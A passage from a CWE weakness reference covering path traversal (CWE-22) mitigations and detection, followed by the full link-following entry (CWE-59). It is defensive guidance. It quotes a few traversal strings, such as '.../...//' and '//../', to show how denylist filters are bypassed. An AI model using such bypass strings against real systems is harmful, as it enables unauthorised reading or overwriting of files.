Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:

  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phases: Architecture and Design; Operation

Strategy: Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Effectiveness: High

Manual Static Analysis

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • File Processing
+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.715OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8022010 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.813OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8652011 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.932OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1031OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1179SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Pathname equivalence can be regarded as a type of canonicalization error.

Relationship

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

Terminology

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.

Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

Research Gap

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

Research Gap

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.

Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPath Traversal
OWASP Top Ten 2007A4CWE More SpecificInsecure Direct Object Reference
OWASP Top Ten 2004A2CWE More SpecificBroken Access Control
CERT C Secure CodingFIO02-CCanonicalize path names originating from untrusted sources
SEI CERT Perl Coding StandardIDS00-PLExactCanonicalize path names before validating them
WASC33Path Traversal
Software Fault PatternsSFP16Path Traversal
OMG ASCSMASCSM-CWE-22
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 11, "Directory Traversal and Using Parent Paths (..)" Page 370. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-185] OWASP. "Testing for Path Traversal (OWASP-AZ-001)". <http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)>.
[REF-186] Johannes Ullrich. "Top 25 Series - Rank 7 - Path Traversal". SANS Software Security Institute. 2010-03-09. <https://www.sans.org/blog/top-25-series-rank-7-path-traversal/>. URL validated: 2023-04-07.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Filenames and Paths", Page 503. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-22. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2022-07-11Nick Johnston
Identified weakness in Perl demonstrative example
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Observed_Examples
2013-07-17CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2014-06-23CWE Content TeamMITRE
updated Other_Notes, Research_Gaps
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-05-03CWE Content TeamMITRE
updated Demonstrative_Examples
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships, Type
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples, References
2023-01-31CWE Content TeamMITRE
updated Common_Consequences, Description, Detection_Factors
2023-04-27CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2010-02-16Path Traversal

CWE-59: Improper Link Resolution Before File Access ('Link Following')

Weakness ID: 59
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
+ Alternate Terms
insecure temporary file:
Some people use the phrase "insecure temporary file" when referring to a link following weakness, but other weaknesses can produce insecure temporary files without any symlink involvement at all.
Zip Slip:
"Zip slip" is an attack that uses file archives (e.g., ZIP, tar, rar, etc.) that contain filenames with path traversal sequences that cause the files to be written outside of the directory under which the archive is expected to be extracted [REF-1282]. It is most commonly used for relative path traversal (CWE-23) and link following (CWE-59).
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
ParentOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.61UNIX Symbolic Link (Symlink) Following
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.62UNIX Hard Link
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.64Windows Shortcut Following (.LNK)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.65Windows Hard Link
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1386Insecure Operation on Windows Junction / Mount Point
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.73External Control of File Name or Path
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.363Race Condition Enabling Link Following
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1219File Handling Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Background Details
Soft links are a UNIX term that is synonymous with simple shortcuts on Windows-based platforms.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Windows (Sometimes Prevalent)

Class: Unix (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Access Control

Technical Impact: Read Files or Directories; Modify Files or Directories; Bypass Protection Mechanism

An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism then an attacker may be able to bypass the mechanism.
Other

Technical Impact: Execute Unauthorized Code or Commands

Windows simple shortcuts, sometimes referred to as soft links, can be exploited remotely since a ".LNK" file can be uploaded like a normal file. This can enable remote execution.
+ Likelihood Of Exploit
Medium
+ Observed Examples
ReferenceDescription
Some versions of Perl follow symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack.
Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users.
Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile.
Symlink attack allows local users to overwrite files.
Window manager does not properly handle when certain symbolic links point to "stale" locations, which could allow local users to create or truncate arbitrary files.
Second-order symlink vulnerabilities
Second-order symlink vulnerabilities
Symlink in Python program
Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails.
Signal causes a dump that follows symlinks.
Hard link attack, file overwrite; interesting because program checks against soft links
Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files.
Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files.
Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system.
Web hosting manager follows hard links, which allows local users to read or modify arbitrary files.
Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles.
Hard link race condition
Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment."
FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.
FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.
Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file.
".LNK." - .LNK with trailing dot
Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link
File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file.
Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames.
A Libcontainer used in Docker Engine allows local users to escape containerization and write to an arbitrary file on the host system via a symlink attack in an image when respawning a container.
"Zip Slip" vulnerability in Go-based Open Container Initiative (OCI) registries product allows writing arbitrary files outside intended directory via symbolic links or hard links in a gzipped tarball.
"Zip Slip" vulnerability in container management product allows writing arbitrary files outside intended directory via a container image (.tar format) with filenames that are symbolic links that point to other files within the same tar file; however, the files being pointed to can also be symbolic links to destinations outside the intended directory, bypassing the initial check.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • File Processing
+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.748CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8082010 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.980SFP Secondary Cluster: Link in Resource Name Resolution
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1185SEI CERT Perl Coding Standard - Guidelines 07. File Input and Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Theoretical

Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations.

Some potential factors are race conditions, permissions, and predictability.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERLink Following
